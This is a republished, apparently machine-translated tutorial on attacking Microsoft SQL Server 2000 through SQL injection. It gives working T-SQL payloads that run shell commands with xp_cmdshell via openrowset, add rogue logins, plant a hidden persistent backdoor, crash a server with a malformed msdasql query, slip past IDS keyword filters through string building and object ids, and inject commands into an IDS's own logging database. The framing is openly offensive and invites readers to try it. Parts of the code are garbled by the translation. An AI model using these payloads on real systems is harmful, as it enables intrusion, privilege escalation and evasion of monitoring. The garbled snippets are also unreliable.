Shulou(Shulou.com)05/31 Report--

This article focuses on "how to achieve mssql injection to avoid IDS", interested friends may wish to take a look. The method introduced in this paper is simple, fast and practical. Now let the editor take you to learn "how to achieve mssql injection to avoid IDS"!

1. About openrowset and opendatasource

Maybe someone already knows this trick, which is to use openrowset to send local commands. Usually our usage (including the column of MSDN) is as follows:

Select * from openrowset ('sqloledb','myserver';'sa';'','select * from table')

It can be seen (even if literally) that openrowset is only accessed as a quick remote database, and it must be followed by select, which means you need to return a recordset.

So can we use it to call xp_cmdshell? The answer is yes!

Select * from openrowset ('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshel l' 'dir c:\'')

You must add set fmtonly off to mask the default setting that returns only column information, so that the output collection returned by xp_cmdshell will be submitted to the previous select display. If you use the default setting, an empty collection will be returned, resulting in an select error and the command cannot be executed.

So if we are going to call sp_addlogin, it will not return any collections like xp_cmdshell, so we can no longer rely on fmtonly settings, we can do the following

Select * from openrowset ('sqloledb','server';'sa';'','select' and 'OKBY') Exec master.dbo.sp_addlogin Hectic')

In this way, the command will at least return select 'OKBY'. Your machine will display OKboxes, and an Hectic account will be added to the other party's database, that is to say, we will use select 'OKboxes'. The return set of deceives the local select request that the command can be executed normally, and sp_addsrvrolemember and opendatasource can do the same! As for the real use of this method, take your time to think about it: P

2. About the two requests of msdasql

I don't know if you have ever tried to use msdasql to connect to a remote database. Of course, this api must be an administrator of sqlserver before it can be called, so the following

Select * from openrowset ('msdasql','driver= {sql server}; server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from table2')

When the number of fields in table1 and table2 are not the same, you will find that the sqlserver of the other party crashes, even the local connection will fail, and everything is normal. After killing the sqlserver process with pskill, if you do not restart the machine, sqlserver either cannot start normally, or there are often illegal operations. I just happened to find this bug. The specific reason is that I haven't figured it out yet, and it's strange that this phenomenon only appears on msdasql. Sqloledb does not have this problem. It seems that the problem does not lie in the mismatch between the number of requested sets and the number of returned sets. It should be the problem of msdasql itself. The specific reason, let's study it slowly: P

3. Terrible back door

In the past, I saw someone on the Internet saying that leaving a back door on sqlserver can be done by adding triger,jobs or rewriting sp_addlogin and sp_addsrvrolemember. Of course, these methods are feasible, but they are easy to find. I don't know if you have ever thought about sqloledb's local connection mapping. Hehe, for example, if you use the administrator account of sqlserver to execute the following command on the other party's sqlserver

Select * from openrowset ('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell' 'dir c:\'')

In this way, a local connection mapping named Hectic is established on the other party's sqlserver. As long as sqlserver is not restarted, this mapping will exist forever, at least I do not know how to find the connection mapping placed by others. Well, after the above command is run, you will find that even if sqlserver does not have any permissions for guest users, running the above command can also pass! And the permission is localsystem! (default installation) hehe! This method can be used to leave a back door on a sqlserver that has been hacked to gain administrator privileges. The above methods are passed on sqlserver2000 sqlserver2000SP1!

In addition, there is another guess. I wonder if you have noticed the two dsn that come with windows by default, one is localserver and the other is msqi, these two are connected to sqlserver by the local administrator account when they are established. If the other party's sqlserver is started through a custom power user, then the permissions of sa are the same as power user, and it is difficult to make a big difference, but we use the following command

Select * from openrowset ('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell' 'dir c:\'') should be able to use the administrator account of localserver to connect to the local sqlserver and then execute local commands with the permissions of this account. After that, I think I should be able to break the power user permission of sa. The problem now is that sqloledb cannot call a dsn connection, and msdasql is not allowed to do so, so I am now looking for a way for guest to call msdasql

If anyone knows how to break through this bug, or has a new idea, we can discuss it together. If this release can be successfully exploited by guest, it will be a serious security loophole. Because any of the sql statements we mentioned earlier can be submitted to each other's asp to help us execute:

4. Use t-sql to deceive ids or attack ids

Now ids has become smarter and smarter. Some ids have joined the xp_cmdshell sp_addlogin surveillance, but after all, artificial intelligence does not appear today, this kind of surveillance always has a kind of deceptive feeling.

Let's start with cheating ids:

Since ids monitors the xp_cmdshell keyword, we can do this

Declare @ a sysname set @ a = "xp_"cmdshell" exec @ a 'dir c:\'

I believe everyone can understand this code, and as a store procedure, xp_cmdshell has an id number in the master library, which is fixed, and we can do the same.

Suppose this id=988456

Declare @ a sysname select @ a=name from sysobjects where id=988456 exec @ a 'dir c:\'

Of course, you can.

Declare @ a sysname select @ a=name from sysobjects where id=988455 1 exec @ a 'dir c:\'

With this arrangement and combination, it is impossible for ids to do complete monitoring.

In the same way, sp_addlogin can do the same.

Let's talk about attacking ids:

Because of the large amount of ids data, the daily solstice is usually backed up to a regular database, such as sql server.

If you use the old recordset.addnew practice, it will seriously affect the performance of ids, because making t-sql requests through ado is not only efficient, but also part of the work can be left to sql server to do.

Usually the program will write insert table values ('Sun to content',...)

So let's think about it. If you use temp') exec xp_cmdshell 'dir c:\'-after submission, it will become

Insert table values ('Daily content'.... 'temp') exec xp_cmdshell' dir c:\'-')

In this way, xp_cmdshell can run in ids's database:)

Of course, ids is a sniffer, it grabs all the reports, and when the browser submits it, it turns the space into. Therefore, it will be submitted to sql server so that your command cannot be executed. The only way is

Insert/**/table/**/values ('Daily content'.... 'temp') / * / exec/**/xp_cmdshell/**/'dir c:\' / * * /--')

Use / * * / instead of spaces as delimiters so that your t-sql can be executed in ids's database. Of course, you can also use other statements, you can destroy, backup the ids database to your shared directory, hehe.

In fact, the principle of this method is the same as attacking asp, except that the space is changed into /. Originally, asp is a select statement, so you can block it with'. Now that ids uses the insert statement, mask it with').

Well, you can think about many other new intrusion statements for yourself. the best testing tool is query analyzer.

At this point, I believe you have a deeper understanding of "how to achieve mssql injection to avoid IDS". You might as well do it in practice. Here is the website, more related content can enter the relevant channels to inquire, follow us, continue to learn!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.